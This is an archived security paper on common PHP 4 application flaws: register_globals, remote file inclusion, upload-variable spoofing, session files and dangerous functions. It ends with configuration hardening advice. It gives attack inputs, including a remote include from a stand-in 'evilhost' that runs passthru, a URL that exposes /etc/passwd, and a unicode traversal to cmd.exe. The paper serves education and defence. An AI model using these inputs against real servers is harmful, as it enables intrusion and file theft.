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TUCoPS :: Web :: PHP :: php8~1.htm

Paper: PHP common vulnerabilities



Vulnerability

    php

Affected

    php in general

Description

    Following  is  based  on  a  SecureReality  release of their paper
    entitled 'A Study In  Scarlet - Exploiting Common  Vulnerabilities
    in PHP Applications'.

    This paper is based on my speech during the Blackhat briefings  in
    Singapore and Hong  Kong in April  2001.  The  speech was entitled
    "Breaking  In  Through  the  Front  Door  -  The  impact  of   Web
    Applications  and  Application  Service  Provision  on Traditional
    Security Models".   It initially discussed  the trend towards  Web
    Applications  (and  ASP)  and  the  holes  in traditional security
    methodology exposed  by this  trend.   The rest  of the speech was
    spent talking about  PHP. For those  reading this paper  who don't
    know what  PHP is,  PHP stands  for "PHP  Hypertext Preprocessor".
    It's a  programming language  (designed specifically  for the Web)
    in  which  PHP  code  is  embedded  in  web  pages.  When a client
    requests  a  page,  the  Web  Server  first passes the page to the
    language interpreter so  the code can  be executed, the  resulting
    page is then returned to the client.

    Obviously this approach  is much more  suited to the  page by page
    nature of web transactions than traditional CGI languages such  as
    Perl and C. PHP (and to  some extent other Web Languages) has  the
    following characteristics:
    + Interpreted
    + Fast Execution - The interpreter is embedded in the web  server,
      no fork() or setup overhead
    + Feature Rich - Hundreds of non trivial builtin functions
    + Simple  Syntax  -  Non  declared  and  loosely typed  variables,
      'wordy' function names

    Over the course of this paper  we are going to try to  explain why
    we feel the last two characteristics make applications written  in
    PHP easy to attack and hard to defend.

    Almost  all  the  observations  in  this  paper refer to a default
    install of PHP 4.0.4pl1 (with MySQL, PostgreSQL, IMAP and  OpenSSL
    support enabled)  running as  a module  under Apache  1.3.19 on  a
    Linux machine.  This of  course means that your mileage  may vary,
    in particular, there have been many many versions of PHP and  they
    sometimes exhibit vastly different behaviour given the same input.

    Also, proponents of PHP tend  to defend the language based  on its
    extreme configurability.  We feel very confident the vast majority
    of users  will not  modify the  default PHP  configuration at all,
    lest some of  the amazing array  of freely available  PHP software
    stop working.  Thus we don't feel pressured to defend our position
    based on configuration options, nonetheless we included a  section
    about  how   to  go   defending  PHP   applications  using   these
    configuration options.

    Finally, some  people deride  this kind  of work  as 'trivial'  or
    'obvious', particularly since we won't be discussing any  specific
    vulnerabilities in particular  pieces of PHP  software.  To  prove
    the risks are real and  that even programmer's that try  hard fall
    into  these  traps  4  detailed  advisories in regards to specific
    pieces of vulnerable software will be released shortly after  this
    paper.

    As mentioned earlier, variables in PHP don't have to be  declared,
    they're automatically created the first  time they are used.   Nor
    are they specifically typed, they're typed automatically based  on
    the  context  in  which  they  are  used.   This  is  an extremely
    convenient way to do  things from a programmer's  perspective (and
    is obviously a useful  feature in a rapid  application development
    language).   Once  a  variable  is  created  it  can be referenced
    anywhere in  the program  (except in  functions where  it must  be
    explicitly included in the namespace with the 'global'  function).
    The result of these  characteristics is that variables  are rarely
    initialized  by  the  programmer,  after  all,  when they're first
    created they are empty (i.e "").

    Obviously the  main function  of a  PHP based  web application  is
    usually to  take in  some client  input (form  variables, uploaded
    files, cookies etc), process the input and return output based  on
    that input.  In order to make it as simple as possible for the PHP
    script to access this input, it's actually provided in the form of
    PHP global variables.  Take the following example HTML snippet:

        <FORM METHOD="GET" ACTION="test.php">
        <INPUT TYPE="TEXT" NAME="hello">
        <INPUT TYPE="SUBMIT">
        </FORM>

    Obviously this will display a text box and a submit button.   When
    the user presses  the submit button  the PHP script  test.php will
    be run to  process the input.   When it runs  the variable  $hello
    will contain the text  the user entered into  the text box.   It's
    important to  note the  implications of  this, this  means that  a
    remote attacker  can create  any variable  they wish  and have  it
    declared in the  global namespace.   If instead of  using the form
    above to call test.php, an  attacker calls it directly with  a url
    like  "http://server/test.php?hello=hi&setup=no",  not  only  will
    $hello = "hi" when the script is run but $setup will be "no" also.

    An example of  how this can  be a real  problem might be  a script
    that was designed  to authenticate a  user before displaying  some
    important information.  For example:

        <?php
         if ($pass = "hello")
          $auth = 1;
         ...
         if ($auth == 1)
          echo "some important information";
        ?>

    In normal  operation the  above code  will check  the password  to
    decide  if  the  remote  user  has successfully authenticated then
    later check if they are authenticated and show them the  important
    information.   The problem  is that  the code  incorrectly assumes
    that  the  variable  $auth  will  be  empty  unless  it  sets  it.
    Remembering that an  attacker can create  variables in the  global
    namespace, a  url like  'http://server/test.php?auth=1' will  fail
    the password check but the script will still believe the  attacker
    has successfully authenticated.

    To summarize the  above, a PHP  script _cannot trust  ANY variable
    it has not EXPLICITLY set_.  When you've got a rather large number
    of variables, this can be a much harder task than it may sound.

    Once common approach to protecting  a script is to check  that the
    variable is  not in  the array  HTTP_GET/POST_VARS[] (depending on
    the method normally used to submit  the form, GET or POST).   When
    PHP is configured  with track_vars enabled  (as it is  by default)
    variables  submitted  by  the  user  are  available  both from the
    global  variables  and  also  as  elements in the arrays mentioned
    above.   However,  it's  important  to  note  that  there are FOUR
    different  arrays  for  remote   user  input,  HTTP_GET_VARS   for
    variables submitted in the URL of the get request,  HTTP_POST_VARS
    for variables  submitted in  the post  section of  a HTTP request,
    HTTP_COOKIE_VARS for  variables submitted  as part  of the  cookie
    headers  in  the  HTTP  request  and  to  a  limited  degree   the
    HTTP_POST_FILES array  (in more  recent versions  of PHP).   It is
    completely the end  users choice which  method they use  to submit
    variables,  one  request  can  easily  place variables in all four
    different arrays, a secure script needs to check all four  (though
    again, the HTTP_POST_FILES array  shouldn't be an issue  except in
    exceptional circumstances).

    We are going  to repeat this  frequently during this  document but
    it bears  repeating, PHP  is an  extremely feature  rich language.
    It ships with  an amazing amount  of functionality out  of the box
    and tries hard to make life as easy as possible for the coder  (or
    web  designer  as  the  case  so  often  is).   From  a   security
    perspective,  the  more  superfluous  functionality  offered  by a
    language  and  the  less  intuitive  the  possibilities,  the more
    difficult  it  is  to  secure  applications  written  in  it.   An
    excellent example  of this  is the  Remote Files  functionality of
    PHP.  The following piece of PHP code is designed to open a file:

        <?php
         if (!($fd = fopen("$filename", "r"))
          echo("Could not open file: $filename<BR>\n");
        ?>

    The  code  attempts  to  open  the  file specified in the variable
    $filename  for  reading  and  if  it  fails  displays  an   error.
    Obviously this could  be a simple  security issue if  the user can
    set $filename and get the script to expose /etc/passwd for example
    but one non intuitive this code could end up doing is reading data
    from another  web/ftp site.  The remote  files functionality means
    that  the  majority  of  PHPs  file  handling  functions  can work
    transparently on remote files via HTTP and FTP.  If $filename were
    to contain (for example)

        http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

    PHP will actually make a  HTTP request to the server  "target", in
    this case  trying to  exploit the  unicode flaw.   This gets  more
    interesting  in  the  context  of  four  other file functions that
    support remote file functionality (*** except under Windows  ***),
    include(), require(),  include_once() and  require_once().   These
    functions take in a  filename and read that  file and parse it  as
    PHP code. They're  typically used to  support the concept  of code
    libraries, where common bits of  PHP code are stored in  files and
    included as needed. Now take the following piece of code:

        <?php
         include($libdir . "/languages.php");
        ?>

    Presumably $libdir is  a configuration variable  that is meant  to
    be set  earlier in  script execution  to the  directory where  the
    library files are stored. If  the attacker can cause the  variable
    not to be  set the script  (which is typically  not a tremendously
    difficult task) and instead  submit it themselves they  can modify
    the start  of the  path.   This would  normally gain  them nothing
    since they still  end up only  being able to  access languages.php
    in a directory of their  choosing (poison null attacks like  those
    possible on Perl don't work  under PHP) but with remote  files the
    attack can submit any code they wish to be executed.  For example,
    if the attacker places a file on a web server called languages.php
    containing the following:

        <?php
         passthru("/bin/ls /etc");
        ?>

    then sets  $libdir to  "http://<evilhost>/" upon  encountering the
    include  statement  PHP  will  make  a  HTTP  request to evilhost,
    retrieve the attackers  code and execute  it, returning a  listing
    of /etc  to the  attackers web  browser.   Note that the attacking
    webserver (evilhost) can't be running PHP or the code will be  run
    on the attacking machine rather than the target machine.

    As if PHP hadn't already  provided enough to make life  easier for
    the attacker the language provides automatic support for RFC  1867
    based file upload.  Take the following form:

        <FORM METHOD="POST" ENCTYPE="multipart/form-data">
        <INPUT TYPE="FILE" NAME="hello">
        <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
        <INPUT TYPE="SUBMIT">
        </FORM>

    This form will allow  the web browser user  to select a file  from
    their local machine then when  they click submit the file  will be
    uploaded  to  the  remote  web  server.   This is obviously useful
    functionality  but  is  PHPs  response  that makes this dangerous.
    When PHP first receives the  request, before it has even  BEGUN to
    parse the PHP  script being called  it will automatically  receive
    the file from the  remote user, it will  then check that the  file
    is no larger than specified in the $MAX_FILE_SIZE variable (10  kb
    in  this  case)  and  the  maximum  file  size  set  in  the   PHP
    configuration file, if it passes these tests the file is SAVED  on
    the local disk in a  temporary directory.  Please read  that again
    if that doesn't make  you blink, a remote  user can send any  file
    they wish to a  PHP enabled machine and  before a script has  even
    specified whether  or not  it accepts  file uploads  that file  is
    SAVED on the local disk.

    We are going  to ignore any  resource exhaustion attacks  that may
    or may not  be possible using  file upload functionality,  they're
    fairly limited if not impossible in any case.

    First let's  consider a  script that  IS designed  to receive file
    uploads.   As described  above the  file is  received and saved on
    the local disk (in the location specified in the configuration for
    uploaded  files,  typically  /tmp)  with  a  random  filename (e.g
    "phpxXuoXG").   The PHP  script then  needs information  regarding
    the uploaded  file to  be able  to process  it.   This is actually
    provided in two  different ways, one  has been in  use since early
    versions of  PHP 3,  the other  was introduced  following some php
    advisories regarding the issue we  are about to describe with  the
    former method.   Suffice to  say the  problem is  still alive  and
    well, most scripts continue to use the old method.  PHP sets  four
    global  variables  to  describe  the  uploaded  file,  for example
    (given the upload form above):

        $hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
        $hello_size = Size in bytes of file (e.g 1024)
        $hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
        $hello_type = Mime type of uploaded file (e.g "text/plain")

    The PHP script then  proceeds to work on  the file as located  via
    the $hello  variable.   The problem  is that  it isn't immediately
    obvious that $hello need not really be a PHP set variable and  can
    simply be set by a remote attacker.  Take the following form input
    for example:

        http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

    That results in the following global PHP variables (of course POST
    could be used (even cookies)):

        $hello = "/etc/passwd"
        $hello_size = 10240
        $hello_type = "text/plain"
        $hello_name = "hello.txt"

    This form input will provide exactly the variables the PHP scripts
    expects to be set  by PHP, but instead  of working on an  uploaded
    file the  script will  infact be  working on  /etc/passwd (usually
    resulting  in  its  content  being  exposed).   This attack can be
    used to expose  the contents of  all sorts of  sensitive files (in
    particular  configuration  files  containing  database  and  other
    third tier server credentials).

    We  noted  above  that  newer  versions  of  PHP provide different
    methods  for  determining  the  uploaded  files (it's done via the
    HTTP_POST_FILES[]  array  mentioned  earlier).   It  also provides
    numerous functions to avoid  this problem, for example  a function
    to determine if  a particular file  is actually one  that has been
    uploaded.  These methods well and truly fix the problem but  there
    is certainly no shortage of scripts out there still using the  old
    method and still vulnerable to this sort of attack.

    As  an  alternate  attack  assisted  by  file  upload consider the
    following example PHP code:

        <?php
         if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
          include("$theme");
        ?>

    If the attacker can control $theme they can obviously use this  to
    read any  file on  the remote  system (except  that content inside
    PHP tags e.g "<?" will be removed and interpreted probably crashing
    immediately).   While  this  is  a  problem the attackers ultimate
    goal is obviously to be able to execute commands on the remote web
    server  and  they  can't  achieve  that  by  getting  the  include
    statement to  work on  remote files  as discussed  earlier.   They
    therefore need to get  PHP code they define  into a file local  to
    the remote machine.  This sounds like an impossible task initially
    but file upload comes  to the rescue.   If the attacker creates  a
    file on  their machine  containing PHP  code to  be executed  (for
    example the passthru code shown earlier) then creates a form which
    contains a file field called "theme" and uses this form to  submit
    the file to the script via file upload, PHP will be kind enough to
    save the file and set $theme to the location of the attackers file
    on the local machine.   The file_exists() check will then  succeed
    and the code will be run.

    Given  command  execution  ability  on  the  remote  webserver the
    attacker  will  obviously  wish  to  attempt  privilege escalation
    attacks or attacks on the  third tier servers, both of  which will
    probably require  a toolset  not present  on the  webserver.   The
    file upload functionality once again  makes this a non issue,  the
    attacker can simply  upload the attack  tools, have them  saved by
    PHP then use their code execution ability to chmod() the file  and
    execute it.   For example,  they could  trivially upload  a  local
    root exploit (through the firewall  and past the IDS) and  execute
    it.

    We mentioned  the include()  and require()  functions earlier,  we
    also said that  they're generally used  to support the  concept of
    code libraries.  What we mean by that is that common bits of  code
    are put into  a separate file  and when needed  in the application
    simply include()ed from  the file.   include() and require()  will
    take  any  specified  filename  and  read  the  file and parse its
    contents as PHP code.

    Initially  when  people  started  developing  and distributing PHP
    applications  they   chose  to   distinguish  library   and   main
    application code  by giving  library files  the '.inc'  extension.
    However they quickly  found this was  a bad move  in general since
    such  files  aren't  normally  parsed  as  PHP  code  by  the  PHP
    interpreter.   If  requested  from   the  web  server  they   will
    generally have  the full  source code  returned.   This is because
    the PHP  interpreter (when  used as  an apache  module) determines
    which files to parse for  PHP code based on the  file's extension,
    the  extensions   to  be   interpreted  can   be  chosen   by  the
    administrator but usually a combination of the extensions  '.php',
    '.php4'  and  '.php3'  is  chosen.   This  is  a real problem when
    sensitive configuration data (e.g database credentials) is  placed
    in PHP  files that  don't have  an appropriate  extension since  a
    remote attacker can easily get the source.

    The simplest solution (and the one that has since become  favored)
    is  simply  to  give  EVERY  file  a  PHP  parsed extension.  This
    prevents  a  request  to  the  web  server  ever returning the raw
    source for a  file that contains  PHP code.   The problem here  is
    that though the source will  no longer be returned, by  requesting
    the file a remote attacker can  have the code that is meant  to be
    used in a framework of other  code executed out of context.   This
    can lead to all of the attacks we described earlier.

    An obvious example might be the following:

        In main.php:
         <?php
          $libDir = "/libdir";
          $langDir = "$libdir/languages";
        
          ...
        
          include("$libdir/loadlanguage.php":
         ?>
        
        In libdir/loadlanguage.php:
         <?php
          ...
        
          include("$langDir/$userLang");
         ?>

    When libdir/loadlanguage.php is called  in the defined context  of
    main.php it  is perfectly  safe.   But because libdir/loadlanguage
    has the extension  .php (it doesn't  have to have  that extension,
    include() works on any file)  it can be requested and  executed by
    a  remote  attacker.   When  out  of  context  an attacker can set
    $langDir and $userLang to whatever they wish.

    Later versions of PHP (4  and above) provide built-in support  for
    'sessions'.   Their  basic  purpose  is  to  be able to save state
    information from page to page in a PHP application.  For  example,
    when a user logs in to a  web site, the fact that they are  logged
    in (and who  they are logged  in) could be  saved in the  session.
    When they move around the site this information will be  available
    to all  other PHP  pages.   What actually  happens is  that when a
    session is started (it's  typically set in the  configuration file
    to be automatically started on first request) a random session  id
    is generated, the session persists  as long as the remote  browser
    always  submits  this  session  id  with  requests.   This is most
    easily achieved with a cookie but can also be done by achieved  by
    putting  a  form  variable  (containing  the  session id) on every
    page.   The session  is a  variable store,  a PHP  application can
    choose to  register a  particular variable  with the  session, its
    value is then  stored in a  session file at  the end of  every PHP
    script and loaded into the variable at the start of every  script.
    A trivial example is as follows:

        <?php
         session_destroy(); // Kill any data currently in the session
         $session_auth = "shaun";
         session_register("session_auth"); // Register $session_auth as a session variable
        ?>

    Any  later  PHP  scripts  will  automatically  have  the  variable
    $session_auth  set  to  "shaun",  if  they modify it later scripts
    will receive the modified value.   This is obviously a very  handy
    facility  to  have  in  a  stateless  environment like the web but
    caution is also necessary.

    One obvious problem is with insuring that variables actually  come
    from the session.  For example, given  the above code,  if a later
    script does the following:

        <?php
         if (!empty($session_auth))
          // Grant access to site here
        ?>

    This code makes  the assumption that  if $session_auth is  set, it
    must have come from the session and not from remote input.  If  an
    attacker  specified  $session_auth  in  form  input  they can gain
    access to the site.  Note  that the attacker must use this  attack
    before  the  variable  is  registered  with  the  session,  once a
    variable is in a session it will override any form input.

    Session  data  is  saved  in  a  file (in a configurable location,
    usually /tmp) named 'sess_<session  id>'.  This file  contains the
    names of  the variables  in the  session, their  loose type, value
    and other data. On multi host  systems this can be an issue  since
    the files are saved as the user running the web server  (typically
    nobody), a malicious site owner  can easily create a session  file
    granting themselves  access on  another site  or even  examine the
    session files looking for sensitive information.

    The session mechanism also supplies another convenient place  that
    an  attacker  have  their  input  saved  into a file on the remote
    machine.  For  examples above where  the attacker needed  PHP code
    in a file on  the remote machine, if  they cannot use file  upload
    they can  often use  the application  and have  a session variable
    set  to  a  value  of  their  choosing.   They  can then guess the
    location   of   the   session   file,   they   know  the  filename
    'php<session id>' they just  have to guess the  directory, usually
    /tmp.

    Finally an issue we  haven't found a use  for is that an  attacker
    can specify  any session  id they  wish (e.g  'hello') and  have a
    session   file   created   with   that   id   (for   the   example
    '/tmp/sess_hello').   The   id  can   only  contain   alphanumeric
    characters but this might well be useful in some situations.

    PHP is a loosely typed language, that is, a variable has different
    values depending on  the context in  which it is  being evaluated.
    For example, the variable $hello  set to the empty string  "" when
    evaluated as a number has the value 0.  This can sometimes lead to
    non  intuitive  results  (a  factor  that  was  important  in  the
    exploitation of phpMyAdmin  in SRADV00008).   If $hello is  set to
    "000" it is NOT equal to "0" nor will the function empty()  return
    true.

    PHP arrays are associative, that is,  the index to the array is  a
    STRING and can be set to  any string value, it is not  numerically
    evaluated. This means  that the array  entry $hello["000"] is  NOT
    the same as the array entry $hello[0].

    Applications  need  to  be  careful  to  validate  user input with
    thought to the above factors and to do so consistently. I.e  don't
    test is something is equal to 0 in one place and then validate  it
    using empty() somewhere else.

    When looking  for holes  in PHP  applications (when  you have  the
    source code)  it's useful  to have  a list  of functions  that are
    frequently misused or are good  targets if they happen to  be used
    in a  vulnerable manner  in the  target application.   If a remote
    user can affect the parameters to these functions exploitation  is
    often possible.  The following is a non exhaustive breakdown.

    PHP Code Execution:
    require() and include()  - Both these  functions read a  specified
       file and interpret the contents as PHP code
    eval() - Interprets a given string as PHP code
    preg_replace()  -  When  used  with  the /e modifier this function
       interprets the replacement string as PHP code

    Command Execution:
    exec() - Executes  a specified command  and returns the  last line
       of the programs output
    passthru() - Executes a specified  command and returns all of  the
       output directly to the remote browser
    `` (backticks) -  Executes the specified  command and returns  all
       the output in an array
    system() - Much the same  as passthru() but doesn't handle  binary
       data
    popen() - Executes a specified command and connects its output  or
       input stream to a PHP file descriptor

    File Disclosure:
    fopen() - Opens a file and associates it with a PHP file descriptor
    readfile() - Reads a file and writes its contents directly to  the
       remote browser
    file() - Reads an entire file into an array

Solution

    All of  the attacks  described above  work perfectly  on a default
    installation of PHP  4. However as we mentioned numerous times PHP
    is  endlessly  configurable  and  many  of  these  attacks  can be
    defeated using those configuration options.

    - Set register_globals off
      This option  will stop  PHP creating  global variables  for user
      input.   That is,  if a  user submits  the form variable 'hello'
      PHP won't  set $hello,  only HTTP_GET/POST_VARS['hello'].   This
      is the  mother of  all other  options and  is best single option
      for PHP security, it will also kill basically every third  party
      application  available  and  makes  programming  PHP a whole lot
      less convenient.

    - Set safe_mode on
      We'd love to describe exactly  what safe_mode does but it  isn't
      documented  completely.   It  introduces  a  large  variety   of
      restrictions including:
      - The  ability to  restrict which  commands can  be executed (by
        exec() etc)
      - The ability to restrict which functions can be used
      - Restricts file access based on ownership of script and  target
        file
      - Kills file upload completely
      This is  a great  option for  ISP environments  (for which it is
      designed) but it can also greatly improve the security of normal
      PHP environments given proper configuration.   It can also be  a
      complete pain in the neck.

    - Set open_basedir
      This  option  prevents  any  file  operations  on  files outside
      specified directories.  This  can effectively kill a  variety of
      local  include()  and  remote  file  attacks.   Caution is still
      required in regards to file upload and session files.

    - Set display_errors off, log_errors on
      This prevents PHP error messages being displayed in the returned
      web page.  This  can effectively limit an  attackers exploration
      of the function of the script  they are attacking.  It can  also
      make debugging very frustrating.

    - Set allow_url_fopen off
      This stops  remote files  functionality. Very  few sites  really
      need this functionality, I  absolutely recommend every site  set
      this option.

    There may well be other great options I'm missing, please  consult
    the PHP documentation


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